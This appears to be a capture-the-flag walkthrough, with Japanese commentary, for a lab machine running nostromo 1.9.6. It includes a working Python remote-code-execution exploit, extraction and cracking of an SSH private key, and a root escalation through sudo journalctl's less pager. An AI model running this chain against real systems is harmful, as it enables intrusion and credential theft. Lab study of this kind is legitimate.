nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.117

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

curl -sI http://10.129.86.117/

HTTP/1.1 200 OK
Server: nostromo 1.9.6
Content-Length: 15674

nostromo 1.9.6 のHTTPリクエストパス解析処理には、"../" のような標準的な
パストラバーサル対策フィルタを回避できる不備がある。具体的には、
各 "." の直後に **CR(キャリッジリターン、%0d)** を挟み込むことで
正規化処理を混乱させ、ドキュメントルート外の任意パス(この場合
/bin/sh)を直接実行させることができる。

典型的なペイロードパス:
  POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1

これをPOSTメソッドで送信し、リクエストボディにシェルコマンドを含めると、
事実上 /bin/sh にそのボディを標準入力として渡したのと同じ効果が得られる
(実装の詳細上、ボディの各行が"echo"コマンドの引数的に扱われる挙動を利用)。

import socket

def nostromo_rce(target: str, port: int, cmd: str) -> str:
    # ボディは "echo\necho\n\n" という形式で送る
    # (nostromoの/bin/sh呼び出し実装の挙動に合わせたフォーマット)
    body = f"echo\necho\n{cmd}\n"
    req = (
        f"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n\r\n"
        f"{body}"
    )
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(15)
    s.connect((target, port))
    s.sendall(req.encode())
    resp = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        resp += chunk
    s.close()
    # レスポンスのHTTPヘッダ部分を除いたボディがコマンド出力
    return resp.split(b"\r\n\r\n", 1)[-1].decode(errors="ignore")

print(nostromo_rce("10.129.86.117", 80, "id"))

uid=33(www-data) gid=33(www-data) groups=33(www-data)

cat /var/nostromo/conf/nhttpd.conf

servername  www.traverxec.htb
serverlisten *
homedirs /home/
homedirs_public public_www

find /home/david/public_www/ -type f 2>/dev/null

/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

# RCEの応答経路はバイナリデータをそのまま返せない場合があるため、
# base64でテキスト化して出力する
base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

# RCE応答で得たbase64文字列をファイルに保存してデコード
base64 -d backup_b64.txt > backup-ssh-identity-files.tgz
mkdir -p extracted
tar xzf backup-ssh-identity-files.tgz -C extracted
find extracted -name "id_rsa*"

extracted/home/david/.ssh/id_rsa

ssh2john extracted/home/david/.ssh/id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
john --show id_rsa.hash

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

extracted/home/david/.ssh/id_rsa:hunter

1 password hash cracked, 0 left

chmod 600 extracted/home/david/.ssh/id_rsa

# -P passphrase でパスフレーズ付き鍵の対話(秘密鍵のロック解除)に対応
sshpass -P passphrase -p hunter ssh \
  -i extracted/home/david/.ssh/id_rsa \
  -o StrictHostKeyChecking=no david@10.129.86.117 \
  "id; cat /home/david/user.txt"

uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),109(netdev)
096906a0bb325bbfa0efb18d269390e8

david@traverxec:~$ sudo -l

User david may run the following commands on traverxec:
    (root) NOPASSWD: /usr/bin/journalctl -n5 -unostromo.service

journalctlはログ出力が端末の表示行数を超える場合、自動的に
ページャ(デフォルトは less)を起動してスクロール表示する。
この less は **root権限のまま**journalctlの子プロセスとして起動される。

less には "!" に続けてコマンドを入力すると**その場でシェルコマンドを
実行する**機能がある(viの:!と同様)。これはless自身の権限(今回はroot)で
実行されるため、以下の手順で権限昇格が成立する:

  1. 端末のサイズを小さくする(表示行数を減らしページング必須にする)
  2. sudo journalctl -n5 -unostromo.service を実行
  3. lessが起動したら "!" に続けて任意コマンドを入力
  4. そのコマンドがroot権限で実行される

david@traverxec:~$ stty rows 1 cols 80   # 端末を極端に小さくしページング必須化
david@traverxec:~$ sudo /usr/bin/journalctl -n5 -unostromo.service

-- Logs begin at ... --
(less のページャ待機状態になる、画面下部に ":" や行数表示)

!cp /root/root.txt /tmp/.travroot; chmod 644 /tmp/.travroot
q

# less/journalctlのセッションを抜けた後、新しいSSHコマンド実行で
# コピーしておいたファイルを読む
sshpass -P passphrase -p hunter ssh \
  -i extracted/home/david/.ssh/id_rsa \
  -o StrictHostKeyChecking=no david@10.129.86.117 \
  "cat /tmp/.travroot; rm -f /tmp/.travroot"

c217e762eac94f881a4fd4da7d3116d3